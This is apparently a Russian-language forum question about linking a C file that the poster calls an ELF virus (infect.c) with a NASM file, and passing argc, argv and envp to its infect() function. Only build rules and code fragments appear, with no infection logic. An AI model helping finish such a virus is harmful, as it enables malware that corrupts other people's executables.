Я связываю программу на C с исполняемым файлом NASM. Файл сборки вызывает основную функцию в связанной программе на C
virus: infect.c virus.o
$(CC) $(LFLAGS) $^ -o $@
virus.o: virus.asm template.asm.inc
$(ASM) $(AFLAGS) $< -o $@
Что я пробовал:
infect.c
содержит главную функцию следующим образом:
int main(int argc, char *const argv[], char *const envp[]) {
DIR *dir;
struct dirent *ent;
struct stat st;
int vfd, xfd, magic;
pid_t pid;
off_t offset;
ino_t inode;
vfd = open(argv[0], O_RDONLY);
...
Так как я хочу вызвать функцию main
в infect.c
из virus.asm
. Основная функция должна infact находиться в virus.asm
, и поскольку в исполняемом файле не может быть двух основных функций, я изменил функцию main
в infect.c
на
int infect(int argc, char *const argv[], char *const envp[]) {
DIR *dir;
struct dirent *ent;
struct stat st;
int vfd, xfd, magic;
pid_t pid;
off_t offset;
ino_t inode;
vfd = open(argv[0], O_RDONLY);
...
1) Я не знаю, как вызвать эту функцию заражения из сборки NASM, это то, что я пробовал в virus.asm
файле
extern infect
main:
call infect
Программа работает, но не дает желаемого эффекта. infect.c
- это вирус ELF, который должен искать файлы в CWD и заражать их.
2) Кажется, проблема в int argc, char *const argv[], char *const envp[]
, которую я не обрабатываю должным образом во время вызова
Как правильно вызвать функцию в infect.c
из virus.asm
с argc
, argv
и envp
, предоставленными для корректной работы программы?